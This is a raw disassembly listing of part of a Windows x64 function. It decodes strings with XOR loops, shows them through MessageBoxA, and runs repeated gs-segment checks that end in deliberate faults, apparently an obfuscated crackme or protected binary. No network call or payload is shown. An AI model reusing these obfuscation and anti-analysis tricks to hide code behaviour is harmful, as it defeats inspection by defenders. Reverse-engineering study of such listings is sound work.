mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140036944
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140036944
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140036f5a
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d288
int3
movdqa xmm0, xmmword [0x1400f2500]
movdqu xmmword [rbp + 0x368], xmm0
mov word [rbp + 0x378], Ordinal_211
mov r10, r15
movabs rbx, 0x8080808080808081
movabs r8, 0x1d217cd98d
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r9, 0x3a42f9b31a
movabs r13, 0x1b6acfdbc
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r13
shr rdi, cl
mov rax, rbx
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x368], dil
inc r10
add r8, r12
add r11, 0x11
cmp r8, r9
jb 0x1400369ae
mov byte [rbp + 0x379], r15b
movdqa xmm0, xmmword [0x1400f25d0]
movdqu xmmword [rbp + 0x758], xmm0
mov dword [rbp + 0x768], 0x6baf3a02
mov word [rbp + 0x76c], 0xfe
mov r9, r15
movabs r8, 0x23fc30d081
mov r11d, reloc.WS2_32.dll_setsockopt
movabs r10, 0x47f861a102
mov cl, r9b
and cl, 7
shl cl, 3
mov rdi, r13
shr rdi, cl
mov rax, rbx
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r9b
xor byte [rbp + r9 + 0x758], dil
inc r9
add r8, r12
add r11, 0x15
cmp r8, r10
jb 0x140036a52
mov byte [rbp + 0x76d], r15b
xor r9d, r9d
lea r8, [rbp + 0x368]
lea rdx, [rbp + 0x758]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x37]
cmp rax, r14
jne 0x140036b8e
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0x3c0f780e
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0xaf7f77f7
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0xdcf4ae0
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140036b6e
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140036b6e
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140036b8e
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d288
int3
mov rax, qword gs:[0x37]
cmp rax, r14
jne 0x140036f5a
mov rax, qword gs:[0x45]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140036c1c
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140036c1c
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140036f5a
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d288
int3
mov rax, qword gs:[0x37]
cmp rax, r13
jne 0x140036cf7
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0x3c0f780e
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140036cd7
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140036cd7
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140036cf7
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d288
int3
movdqa xmm0, xmmword [0x1400f2500]
movdqu xmmword [rbp + 0x380], xmm0
mov word [rbp + 0x390], Ordinal_211
mov rdi, r15
movabs rbx, 0x1b6acfdbc
mov qword [rsp + 0x20], rbx
mov r9d, reloc.WS2_32.dll_recvfrom
mov r8, rdi
mov dl, byte [rbp + rdi + 0x380]
lea rcx, [rbp + 0x380]
call fcn.14003708c
xor al, dil
mov byte [rbp + rdi + 0x380], al
inc rdi
cmp rdi, 0x11
jb 0x140036d1d
mov byte [rbp + 0x391], r15b
movdqa xmm0, xmmword [0x1400f2400]
movdqu xmmword [rbp + 0xcd8], xmm0
movdqa xmm1, xmmword [0x1400f2480]
movdqu xmmword [rbp + 0xce8], xmm1
movdqa xmm0, xmmword [0x1400f2610]
movdqu xmmword [rbp + 0xcf8], xmm0
mov dword [rbp + 0xd08], 0x9237d4ed
mov dword [rbp + 0xd0c], 0xbd50f9c2
mov dword [rbp + 0xd10], 0x963583a8
mov word [rbp + 0xd14], 0xac
mov rdi, r15
mov qword [rsp + 0x20], rbx
mov r9d, 0x3d
mov r8, rdi
mov dl, byte [rbp + rdi + 0xcd8]
lea rcx, [rbp + 0xcd8]
call fcn.140037100
xor al, dil
mov byte [rbp + rdi + 0xcd8], al
inc rdi
cmp rdi, 0x3d
jb 0x140036db2
mov byte [rbp + 0xd15], r15b
xor r9d, r9d
lea r8, [rbp + 0x380]
lea rdx, [rbp + 0xcd8]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x37]
cmp rax, r13
jne 0x140036eb0
mov rax, qword gs:[0x45]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140036e90
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140036e90
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140036eb0
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d288
int3
mov rax, qword gs:[0x37]
cmp rax, r13
jne 0x140036f5a
mov rax, qword gs:[0x45]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140036f3a
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140036f3a
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140036f5a
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d288
int3
mov ecx, 1
call fcn.14009d288
int3